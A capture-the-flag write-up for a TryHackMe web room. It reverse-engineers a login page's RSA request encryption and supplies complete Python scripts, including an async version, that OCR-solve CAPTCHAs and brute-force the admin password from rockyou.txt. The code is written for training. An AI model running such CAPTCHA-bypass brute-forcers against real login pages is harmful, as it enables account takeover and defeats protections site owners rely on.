TryHackMe - CAPTCHApocalypse¶
Introduction¶
OS: WEB
URL: CAPTCHApocalypse
Level: Medium
Solve a simple captcha challenge and get the flag.
Recon¶
┌──(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ sudo nmap --min-rate=1000 -vv $IP -p-
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 60
80/tcp open http syn-ack ttl 60
Visiting the webpage we get a login prompt with a captcha challenge.
The challenge page provides us a hint that the password is in first 100 lines of rockyou.txt
file.
Guessing the username is admin
lets try to enter a random password and check the request made.
Login request and response are both encrypted.
Note
This challenge was likely meant to be solved using browser-based automation tools like Selenium or Puppeteer, but I will instead solve it using requests / httpx library in Python.
Taking a look at all the resources loaded there is a custom script.js
file which handles all the encryption and decryption routines.
Exploitation¶
Rewriting the encryption and decryption routines¶
Since the script.js
file is not obfuscated / minified, we can easily read the code and rewrite the encryption and decryption routines in Python.
script.js
const serverPublicKey = `-----BEGIN PUBLIC KEY-----
[...SNIPPED...]
-----END PUBLIC KEY-----`;
const clientPrivateKey = `-----BEGIN PRIVATE KEY-----
[...SNIPPED...]
-----END PRIVATE KEY-----`;
// Convert PEM to RSA Key Object
function importPublicKey(pem) {
return forge.pki.publicKeyFromPem(pem);
}
function importPrivateKey(pem) {
return forge.pki.privateKeyFromPem(pem);
}
// Encrypt Data
function encryptData(plainText) {
const publicKey = importPublicKey(serverPublicKey);
const encrypted = publicKey.encrypt(plainText);
return forge.util.encode64(encrypted);
}
// Decrypt Data
function decryptData(encryptedData) {
try {
const privateKey = importPrivateKey(clientPrivateKey);
const decrypted = privateKey.decrypt(forge.util.decode64(encryptedData));
return decrypted;
} catch (error) {
console.error("Decryption error:", error);
return "Decryption Failed";
}
}
Tip
Look at the end of this section for a fully working script without the snipped parts
Rewriting the above code in Python using pycryptodomex
library.
- setup the encryption and decryption functions
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_v1_5
import base64
server_publicKey = """-----BEGIN PUBLIC KEY-----
[...SNIPPED...]
-----END PUBLIC KEY-----"""
client_privateKey = """-----BEGIN PRIVATE KEY-----
[...SNIPPED...]
-----END PRIVATE KEY-----"""
# setup encryption and decryption functions
def encrypt_data(data, key=server_publicKey):
public_key = RSA.import_key(key)
cipher = PKCS1_v1_5.new(public_key)
encrypted = cipher.encrypt(data.encode())
return base64.b64encode(encrypted).decode()
def decrypt_data(encrypted_data, key=client_privateKey):
private_key = RSA.import_key(key)
cipher = PKCS1_v1_5.new(private_key)
sentinel = b"DECRYPTION_FAILED"
decrypted = cipher.decrypt(base64.b64decode(encrypted_data), sentinel)
return decrypted.decode()
- create a login function
script.js
// Login Function
async function login() {
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
const csrf_token = document.getElementById("csrf_token").value;
const captcha_input = document.getElementById("captcha_input").value;
if (!username || !password) {
showError("Username and password cannot be empty.");
return;
}
const params = new URLSearchParams();
params.append("action", "login");
params.append("csrf_token", csrf_token);
params.append("username", username);
params.append("password", password);
params.append("captcha_input", captcha_input);
const requestData = params.toString();
const encrypted = encryptData(requestData);
const response = await fetch("server.php", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ data: encrypted })
});
const responseData = await response.json();
if (responseData.data) {
const decryptedResponse = decryptData(responseData.data);
if (decryptedResponse.includes("Login successful")) {
window.location.href = "dashboard.php";
}else if (decryptedResponse.includes("Login failed")){
window.location.href = "index.php?error=true";
} else {
showError(decryptedResponse);
}
} else {
showError("Server Error: No response data received.");
}
}
import requests
from urllib.parse import urlencode # for converting the params to www-form-urlencoded format
import re
def do_login(username, password, csrf_token, captcha_input, cookies):
# create all the parameters required for the login request (taken from `script.js` `login()` function)
params = {
"action": "login",
"csrf_token": csrf_token,
"username": username,
"password": password,
"captcha_input": captcha_input
}
# convert the params to www-form-urlencoded format (username=admin&password=1234&csrf_token=abcd&captcha_input=xyz)
request_data = urlencode(params)
# encrypt the request data using the encrypt_data function
encrypted = encrypt_data(request_data)
# make the POST request to the server with the encrypted data
# with the correct cookie that matches up with the session and csrf token
response = requests.post(f"http://{HOST}/server.php", json={"data": encrypted}, cookies=cookies)
if response.status_code == 200:
response_data = response.json()
if 'data' in response_data:
# decrypt the response data using the decrypt_data function
decrypted_response = decrypt_data(response_data['data'])
return decrypted_response
else:
return "Server Error: No response data received."
else:
return f"HTTP Error: {response.status_code}"
- get the CRSF token, cookie and the captcha image
def get_login_page():
# get CSRF Token and a fresh php session to fetch the captcha
response = requests.get("http://10.10.24.65/")
if response.status_code == 200:
# use regex to extract the CSRF token from the response text
# <input type="hidden" name="csrf_token" id="csrf_token" value="9b69870f30f4c3d2b43d27a9a3d3d32bcdf3d3a5c6625cdcbf9f617fc1a86678">
csrf_token_match = re.search(r'<input type="hidden" name="csrf_token" id="csrf_token" value="([^"]+)"', response.text)
if csrf_token_match:
csrf_token = csrf_token_match.group(1)
else:
raise ValueError("CSRF token not found in the login page.")
# use the cookies from the response to fetch the captcha
captcha_response = requests.get("http://10.10.24.65/captcha.php", cookies=response.cookies)
if captcha_response.status_code == 200:
# save the captcha as a byte string
captcha = io.BytesIO(captcha_response.content)
else:
raise ValueError("Failed to fetch captcha image.")
# return the csrf token, captcha image and the cookies
return csrf_token, captcha, response.cookies
- solve the captcha using
pytesseract
Bodged together from several sources to be accurate about 80% of the time from my testing.
While I experimented with different --psm
values 6,7,10 seemed most reliable for this task. You can read more about it here
We can also narrow the charset as all generated captchas are alphanumeric and uppercase only.
import pytesseract
import cv2
import numpy as np
def decode_captcha(captcha_image: io.BytesIO):
# load the image directly from memory
file_bytes = np.asarray(bytearray(captcha_image.read()), dtype=np.uint8)
# decode the image using OpenCV while converting it to grayscale
img = cv2.imdecode(file_bytes, cv2.IMREAD_GRAYSCALE)
# Resize (scale up for better OCR)
img = cv2.resize(img, None, fx=2, fy=2, interpolation=cv2.INTER_CUBIC)
# Apply binary threshold
_, img = cv2.threshold(img, 180, 255, cv2.THRESH_BINARY)
# use `psm` 10 for single word recognition and narrow the charset to alphanumeric uppercase
config = r'--psm 10 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
text = pytesseract.image_to_string(img, config=config).strip()
print("CAPTCHA:", text)
return text
- create a loop to read the password and try them one at a time. If there are any errors decoding the captcha / incorrect captcha then retry by getting a fresh captcha image and CSRF token.
def main():
password_file = "/usr/share/wordlists/rockyou.txt"
# read password one line at a time
for password in open(password_file, "r"):
password = password.strip()
# if the line is empty, skip it
if not password:
continue
# print the current password being tried
print(f"Trying password: {password}")
# create a infinite loop to keep trying to decode the captcha and login until we get a valid captcha decoded text
while True:
# get the login page to fetch the CSRF token, captcha image and cookies
csrf_token, captcha_image, cookies = get_login_page()
# decode the captcha image using pytesseract
captcha_text = decode_captcha(captcha_image)
# on a likely good captcha, try to login (generated captchas are always 5 characters long)
if len(captcha_text) == 5:
# try to login with the decoded captcha text and decrypt the response
response = do_login("admin", password, csrf_token, captcha_text, cookies)
# if the response contains "CAPTCHA incorrect." then retry with a fresh captcha
if "CAPTCHA incorrect." in response:
print("CAPTCHA incorrect, retrying...")
else:
# if the response is not "CAPTCHA incorrect." then break out of the loop
break
# check if the response contains "Login failed!" or "Login successful" and print the result
if "Login failed!" in response:
print(f"Login failed with password: {password}")
else:
print(f"Login successful with password: {password}")
print("Response:", response)
# exit the loop as we have found the correct password
break
brute_password.py¶
- Putting it all together.
import io
import requests
import base64
import re
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_v1_5
from urllib.parse import urlencode
import pytesseract
import cv2
import numpy as np
import sys
if len(sys.argv) != 2:
print("Usage: python brute_captcha_async.py <host>")
print("Example: python brute_captcha_async.py 127.0.0.1")
sys.exit(1)
HOST = sys.argv[1]
server_publicKey = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt38SAt9XfLRClH+41yxl
NIEOrHcZjGjrZZVV/R/XcuFJI2bBInWrmcnrQguajtO1tehWrdSCto+kP6wI2NyR
qL8tpuovK6SO1KT+TpkceeZyJIN+QGnp19pbLeDG3xZXK94AKxB0xH59DWHWcHNs
ktLz3RnW4xX+YI3o5hn/fcgPrxQ6kK4jYPm0xtbIYtcc86zH9+Cv6R+Y0rwfAXtG
0+YAJDYYRo0Aro1uV2zCG/9Khy/Dxrvm3Qc4OAidZsoS6dFv+0/Hp3UxF8FfAExw
Iwfx6YKfiC4xpGuDlxkyuP90L9T0Ke8KPfKhAqc5+aHE0EqYkXDRQQVrF5fmjdRk
LwIDAQAB
-----END PUBLIC KEY-----"""
client_privateKey = """-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQC1DwWR7yGlsNpg
YaBHWheqnLoZvGuSr3MWcZyoHrql5iwzzOolmu00WwaGiuOwPyl4GjRCR4rwXpGq
sMJiYuwOG6w9gPzIDg1Y11cPtkqzxZ20kX/8DFFlGiurwAK6SOkrtfhLYF56YDJg
WS7lVwtVq5LstdzSeTEtvSFdhNedUZW8l319AYJGjByXwNMUW3u21wGff8hDN8Yu
AMrciW1UJFO2aN39v8Vev1VrAvRItFK1znCq0eNRJKjruEztXO/vZzR8Lc0BA0Uj
OyIizkEQKBx5/OTRf8rqO5CkqcLcr/f0u4ZlH6cJg9jOVJlTeb37S94d3uSx+4Pb
EIw+/Hm7AgMBAAECgf8ICgCTLWjRDCLINdG9WUs8P4YD0bfB1BmDy/8PEYFrQrNv
dzrMG1CgHBU2n9HztJX4HQ+bWTyFPHp/iJ3lr1yYmRlqkJxkZ7LJnOg4KD3CeWGg
zX+2l6I4wV+mfE74B4j9gXTAjrGBEtVuC1R4pykEV/e/JHYpjOKqpTsi0kMm9LH5
a3eiLKtP+zAL+s7DEQopALi2oEq5/0+hJxZVYUX0P6q+A/o5kdheXeWjEuL9nUDR
YM/bcnAOKTE9B7+sZ5SUGDwf6L+MpTBLN7rnNvli6mykmvYwCeFYOKAVXjcFWRg1
3kR0yVxkpPBXC97CZyRsYiRHiYEzRKZo5eHRhHkCgYEA7nPGUNhHtXeT5oIurZgJ
K/FePMzgBxbDXtbAHEpw378Y90BjUUB7YxAZxhiTO1wKsAWhr1VQOdWmqlTrhurN
/XGxrpMuDRuNkYbXjjvmv4SpdgW5YnXR9BA1bjwWbuEoqsLu//oNySrbLVlYP2he
Q3rXeCN2BZDStte2D6VrQukCgYEAwmIBCOjaBWh8VnxnoSsSdjUf1/oXAIzKpEwO
waZadwsqau3ITARGjz0cMuV8s7gXAU6fskXqIMvaAxvr1/GXfoIGTSuSwNRW0MKI
k26HK++R7TPISLXC1PpF33z+uBRi6wiYeRsG+Jo5l4pW9fD4KBSFs2P9H5njWeW+
hH0MiQMCgYEAzCJvD3zoftDc3ARsw44Zo/XhUDmwPEFfhgxgsJeF4/ZsABeuLrv+
JYN+HRmiybl1KNXZYgmuQaTHJqDGdV0EdclkbGhxjyUcYA5I8OoVE7YVgQVLfKAS
2lcZ9sIYDlpRf0acZqWCMcqvkjYfl0DZGfnLBn2NJxyhV4h5wxFBLykCgYAJ9zxW
WJnU7SZyyK4HdU3dAZxAVnIXdSBui/e1tfGtaMUj9kzumMmFTnzDn0Bldmq3hnBp
k2wNgmYLAsN0rs41jjUEf9dmS3yn91FJPcFwXzf8EUuTbr4ubSZn7uCgT2tC4Y3v
p5MT69RIEK+krFYMuACi0d2IYTtmwICkCkU6QQKBgGlXG0c681f1lYVAVryEszrO
We9+VRrO3pDiyY348HBdwyyXpn7vfK+fF5C+prDEtO5IQ6v/tdeYfzKVa0iZhIUF
kp2XdXBSHm7ykeY5LYUAjhoShT2Y3gT1oEH5DjqdTA0oJ0DSvbzMchi+uO5e0ZHO
xuASizGvaR+gZ9+ANTmJ
-----END PRIVATE KEY-----"""
# setup encryption and decryption functions
def encrypt_data(data, key=server_publicKey):
"""
Encrypts data using the provided public key.
:param data: The plaintext data to encrypt.
:param key: The public key in PEM format.
:return: Base64 encoded encrypted data.
"""
public_key = RSA.import_key(key)
cipher = PKCS1_v1_5.new(public_key)
encrypted = cipher.encrypt(data.encode())
return base64.b64encode(encrypted).decode()
def decrypt_data(encrypted_data, key=client_privateKey):
"""
Decrypts data using the provided private key.
:param encrypted_data: The Base64 encoded encrypted data.
:param key: The private key in PEM format.
:return: The decrypted plaintext data.
"""
private_key = RSA.import_key(key)
cipher = PKCS1_v1_5.new(private_key)
sentinel = b"DECRYPTION_FAILED"
decrypted = cipher.decrypt(base64.b64decode(encrypted_data), sentinel)
return decrypted.decode()
def do_login(username, password, csrf_token, captcha_input, cookies):
"""
Simulates a login request to the server.
:param username: The username for login.
:param password: The password for login.
:param csrf_token: CSRF token for security.
:param captcha_input: User input for captcha.
:return: Response from the server after decryption.
"""
if not username or not password:
return "Username and password cannot be empty."
params = {
"action": "login",
"csrf_token": csrf_token,
"username": username,
"password": password,
"captcha_input": captcha_input
}
request_data = urlencode(params)
encrypted = encrypt_data(request_data)
response = requests.post(f"http://{HOST}/server.php", json={"data": encrypted}, cookies=cookies)
if response.status_code == 200:
response_data = response.json()
if 'data' in response_data:
decrypted_response = decrypt_data(response_data['data'])
return decrypted_response
else:
return "Server Error: No response data received."
else:
return f"HTTP Error: {response.status_code}"
def get_login_page():
"""
Fetches the login page from the server.
:return: The HTML content of the login page.
"""
# get CSRF Token and a fresh php session to fetch the captcha
response = requests.get(f"http://{HOST}/")
if response.status_code == 200:
# <input type="hidden" name="csrf_token" id="csrf_token" value="9b69870f30f4c3d2b43d27a9a3d3d32bcdf3d3a5c6625cdcbf9f617fc1a86678">
csrf_token_match = re.search(r'<input type="hidden" name="csrf_token" id="csrf_token" value="([^"]+)"', response.text)
if csrf_token_match:
csrf_token = csrf_token_match.group(1)
else:
raise ValueError("CSRF token not found in the login page.")
# use the cookies from the response to fetch the captcha
captcha_response = requests.get(f"http://{HOST}/captcha.php", cookies=response.cookies)
if captcha_response.status_code == 200:
# save the captcha as a byte string
captcha = io.BytesIO(captcha_response.content)
else:
raise ValueError("Failed to fetch captcha image.")
return csrf_token, captcha, response.cookies
def decode_captcha(captcha_image: io.BytesIO):
"""
Decodes the captcha image using OCR or any other method.
:param captcha_image: The captcha image as a byte string.
:return: The decoded captcha value.
"""
file_bytes = np.asarray(bytearray(captcha_image.read()), dtype=np.uint8)
img = cv2.imdecode(file_bytes, cv2.IMREAD_GRAYSCALE)
# Resize (scale up for better OCR)
img = cv2.resize(img, None, fx=2, fy=2, interpolation=cv2.INTER_CUBIC)
# Apply binary threshold
_, img = cv2.threshold(img, 180, 255, cv2.THRESH_BINARY)
# OCR config
config = r'--psm 10 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
text = pytesseract.image_to_string(img, config=config).strip()
# print("CAPTCHA:", text)
return text
def main():
password_file = "/usr/share/wordlists/rockyou.txt"
for password in open(password_file, "r"):
password = password.strip()
if not password:
continue
print(f"\33[2K\rTrying password: {password}", end="", flush=True)
while True:
csrf_token, captcha_image, cookies = get_login_page()
captcha_text = decode_captcha(captcha_image)
# print("Decoded CAPTCHA:", captcha_text)
# on a likely good captcha, try to login
if len(captcha_text) == 5:
response = do_login("admin", password, csrf_token, captcha_text, cookies)
if "CAPTCHA incorrect." in response:
print("\33[2K\rCAPTCHA incorrect, retrying...", end="", flush=True)
else:
break
if "Login failed!" in response:
print(f"\33[2K\rLogin failed with password: {password}", end="", flush=True)
else:
print(f"\33[2K\rLogin successful with password: {password}")
print("Response:", response)
break
if __name__ == "__main__":
main()
Running the script¶
- setup a virtual environment and install the required dependencies
┌──(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ python -m venv /tmp/venv
┌──(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ . /tmp/venv/bin/activate
┌──(venv)─(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ pip install requests httpx pycryptodomex pytesseract opencv-python numpy
- run the script with the IP as an argument
┌──(venv)─(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ python brute_password.py 10.10.111.181
Login successful with password: t*********l
Response: Login successful!
- Login with the correct password to get the flag
Speeding up the script¶
To speed up the script, we can use httpx
library which supports asynchronous requests. This allows us to fetch multiple captchas and CSRF tokens in parallel, significantly reducing the time taken to brute force the password.
async_brute_password.py¶
import io
import httpx
import base64
import re
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_v1_5
from urllib.parse import urlencode
import pytesseract
import cv2
import numpy as np
import asyncio
import sys
if len(sys.argv) != 2:
print("Usage: python brute_captcha_async.py <host>")
print("Example: python brute_captcha_async.py 127.0.0.1")
sys.exit(1)
HOST = sys.argv[1]
semaphore = asyncio.Semaphore(20) # Limit concurrent requests
server_publicKey = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt38SAt9XfLRClH+41yxl
NIEOrHcZjGjrZZVV/R/XcuFJI2bBInWrmcnrQguajtO1tehWrdSCto+kP6wI2NyR
qL8tpuovK6SO1KT+TpkceeZyJIN+QGnp19pbLeDG3xZXK94AKxB0xH59DWHWcHNs
ktLz3RnW4xX+YI3o5hn/fcgPrxQ6kK4jYPm0xtbIYtcc86zH9+Cv6R+Y0rwfAXtG
0+YAJDYYRo0Aro1uV2zCG/9Khy/Dxrvm3Qc4OAidZsoS6dFv+0/Hp3UxF8FfAExw
Iwfx6YKfiC4xpGuDlxkyuP90L9T0Ke8KPfKhAqc5+aHE0EqYkXDRQQVrF5fmjdRk
LwIDAQAB
-----END PUBLIC KEY-----"""
client_privateKey = """-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQC1DwWR7yGlsNpg
YaBHWheqnLoZvGuSr3MWcZyoHrql5iwzzOolmu00WwaGiuOwPyl4GjRCR4rwXpGq
sMJiYuwOG6w9gPzIDg1Y11cPtkqzxZ20kX/8DFFlGiurwAK6SOkrtfhLYF56YDJg
WS7lVwtVq5LstdzSeTEtvSFdhNedUZW8l319AYJGjByXwNMUW3u21wGff8hDN8Yu
AMrciW1UJFO2aN39v8Vev1VrAvRItFK1znCq0eNRJKjruEztXO/vZzR8Lc0BA0Uj
OyIizkEQKBx5/OTRf8rqO5CkqcLcr/f0u4ZlH6cJg9jOVJlTeb37S94d3uSx+4Pb
EIw+/Hm7AgMBAAECgf8ICgCTLWjRDCLINdG9WUs8P4YD0bfB1BmDy/8PEYFrQrNv
dzrMG1CgHBU2n9HztJX4HQ+bWTyFPHp/iJ3lr1yYmRlqkJxkZ7LJnOg4KD3CeWGg
zX+2l6I4wV+mfE74B4j9gXTAjrGBEtVuC1R4pykEV/e/JHYpjOKqpTsi0kMm9LH5
a3eiLKtP+zAL+s7DEQopALi2oEq5/0+hJxZVYUX0P6q+A/o5kdheXeWjEuL9nUDR
YM/bcnAOKTE9B7+sZ5SUGDwf6L+MpTBLN7rnNvli6mykmvYwCeFYOKAVXjcFWRg1
3kR0yVxkpPBXC97CZyRsYiRHiYEzRKZo5eHRhHkCgYEA7nPGUNhHtXeT5oIurZgJ
K/FePMzgBxbDXtbAHEpw378Y90BjUUB7YxAZxhiTO1wKsAWhr1VQOdWmqlTrhurN
/XGxrpMuDRuNkYbXjjvmv4SpdgW5YnXR9BA1bjwWbuEoqsLu//oNySrbLVlYP2he
Q3rXeCN2BZDStte2D6VrQukCgYEAwmIBCOjaBWh8VnxnoSsSdjUf1/oXAIzKpEwO
waZadwsqau3ITARGjz0cMuV8s7gXAU6fskXqIMvaAxvr1/GXfoIGTSuSwNRW0MKI
k26HK++R7TPISLXC1PpF33z+uBRi6wiYeRsG+Jo5l4pW9fD4KBSFs2P9H5njWeW+
hH0MiQMCgYEAzCJvD3zoftDc3ARsw44Zo/XhUDmwPEFfhgxgsJeF4/ZsABeuLrv+
JYN+HRmiybl1KNXZYgmuQaTHJqDGdV0EdclkbGhxjyUcYA5I8OoVE7YVgQVLfKAS
2lcZ9sIYDlpRf0acZqWCMcqvkjYfl0DZGfnLBn2NJxyhV4h5wxFBLykCgYAJ9zxW
WJnU7SZyyK4HdU3dAZxAVnIXdSBui/e1tfGtaMUj9kzumMmFTnzDn0Bldmq3hnBp
k2wNgmYLAsN0rs41jjUEf9dmS3yn91FJPcFwXzf8EUuTbr4ubSZn7uCgT2tC4Y3v
p5MT69RIEK+krFYMuACi0d2IYTtmwICkCkU6QQKBgGlXG0c681f1lYVAVryEszrO
We9+VRrO3pDiyY348HBdwyyXpn7vfK+fF5C+prDEtO5IQ6v/tdeYfzKVa0iZhIUF
kp2XdXBSHm7ykeY5LYUAjhoShT2Y3gT1oEH5DjqdTA0oJ0DSvbzMchi+uO5e0ZHO
xuASizGvaR+gZ9+ANTmJ
-----END PRIVATE KEY-----"""
# setup encryption and decryption functions
def encrypt_data(data, key=server_publicKey):
"""
Encrypts data using the provided public key.
:param data: The plaintext data to encrypt.
:param key: The public key in PEM format.
:return: Base64 encoded encrypted data.
"""
public_key = RSA.import_key(key)
cipher = PKCS1_v1_5.new(public_key)
encrypted = cipher.encrypt(data.encode())
return base64.b64encode(encrypted).decode()
def decrypt_data(encrypted_data, key=client_privateKey):
"""
Decrypts data using the provided private key.
:param encrypted_data: The Base64 encoded encrypted data.
:param key: The private key in PEM format.
:return: The decrypted plaintext data.
"""
private_key = RSA.import_key(key)
cipher = PKCS1_v1_5.new(private_key)
sentinel = b"DECRYPTION_FAILED"
decrypted = cipher.decrypt(base64.b64decode(encrypted_data), sentinel)
return decrypted.decode()
async def do_login(username, password, csrf_token, captcha_input, cookies):
"""
Simulates a login request to the server.
:param username: The username for login.
:param password: The password for login.
:param csrf_token: CSRF token for security.
:param captcha_input: User input for captcha.
:return: Response from the server after decryption.
"""
if not username or not password:
return "Username and password cannot be empty."
params = {
"action": "login",
"csrf_token": csrf_token,
"username": username,
"password": password,
"captcha_input": captcha_input
}
# request_data = "&".join(f"{k}={v}" for k, v in params.items())
request_data = urlencode(params)
encrypted = encrypt_data(request_data)
async with semaphore:
async with httpx.AsyncClient() as client:
response = await client.post(f"http://{HOST}/server.php", json={"data": encrypted}, cookies=cookies)
if response.status_code == 200:
response_data = response.json()
if 'data' in response_data:
decrypted_response = decrypt_data(response_data['data'])
return decrypted_response
else:
return "Server Error: No response data received."
else:
return f"HTTP Error: {response.status_code}"
async def get_login_page():
"""
Fetches the login page from the server.
:return: The HTML content of the login page.
"""
# get CSRF Token and a fresh php session to fetch the captcha
async with semaphore:
async with httpx.AsyncClient() as client:
response = await client.get(f"http://{HOST}/")
if response.status_code == 200:
# <input type="hidden" name="csrf_token" id="csrf_token" value="9b69870f30f4c3d2b43d27a9a3d3d32bcdf3d3a5c6625cdcbf9f617fc1a86678">
csrf_token_match = re.search(r'<input type="hidden" name="csrf_token" id="csrf_token" value="([^"]+)"', response.text)
if csrf_token_match:
csrf_token = csrf_token_match.group(1)
else:
raise ValueError("CSRF token not found in the login page.")
# use the cookies from the response to fetch the captcha
captcha_response = await client.get(f"http://{HOST}/captcha.php", cookies=response.cookies)
if captcha_response.status_code == 200:
# save the captcha as in-memory bytes
captcha = io.BytesIO(captcha_response.content)
else:
raise ValueError("Failed to fetch captcha image.")
return csrf_token, captcha, response.cookies
def decode_captcha(captcha_image: io.BytesIO):
"""
Decodes the captcha image using OCR or any other method.
:param captcha_image: The captcha image as a byte string.
:return: The decoded captcha value.
"""
file_bytes = np.asarray(bytearray(captcha_image.read()), dtype=np.uint8)
img = cv2.imdecode(file_bytes, cv2.IMREAD_GRAYSCALE)
# Resize (scale up for better OCR)
img = cv2.resize(img, None, fx=2, fy=2, interpolation=cv2.INTER_CUBIC)
# Apply binary threshold
_, img = cv2.threshold(img, 180, 255, cv2.THRESH_BINARY)
# OCR config
config = r'--psm 10 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
text = pytesseract.image_to_string(img, config=config).strip()
# print("CAPTCHA:", text)
return text
async def try_password(password):
print(f"\33[2K\rTrying password: {password}", end="", flush=True)
while True:
csrf_token, captcha_image, cookies = await get_login_page()
# spawn a thread to decode the captcha image (to prevent blocking the event loop)
captcha_text = await asyncio.to_thread(decode_captcha, captcha_image)
# on a likely good captcha, try to login
if len(captcha_text) == 5:
response = await do_login("admin", password, csrf_token, captcha_text, cookies)
if "CAPTCHA incorrect." in response:
print("\33[2K\rCAPTCHA incorrect, retrying...", end="", flush=True)
else:
break
if "Login failed!" in response:
print(f"\33[2K\rLogin failed with password: {password}", end="", flush=True)
else:
return response, password
async def main():
password_file = "/usr/share/wordlists/rockyou.txt"
count = 0
tasks = []
for password in open(password_file, "r"):
password = password.strip()
if not password:
continue
count += 1
tasks.append(asyncio.create_task(try_password(password)))
# for every 20 tasks, wait for them to complete
if count % 20 == 0:
for task in asyncio.as_completed(tasks):
result = await task
if result:
response, password = result
print(f"\33[2K\rLogin successful with password: {password}")
print("Response:", response)
exit(0)
tasks.clear() # Clear completed tasks
if __name__ == "__main__":
asyncio.run(main())
- timing the script
┌──(venv)─(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ time python brute_password.py 10.10.111.181
Login successful with password: t*********l
Response: Login successful!
real 94.55s
user 15.26s
sys 2.79s
cpu 19%
┌──(venv)─(kali㉿kali)-[~/THM/CAPTCHApocalypse]
└─$ time python async_brute_password.py 10.10.111.181
Login successful with password: t*********l
Response: Login successful!
real 15.25s
user 33.54s
sys 5.18s
cpu 253%
A 6.2x
speedup with 20 concurrent requests.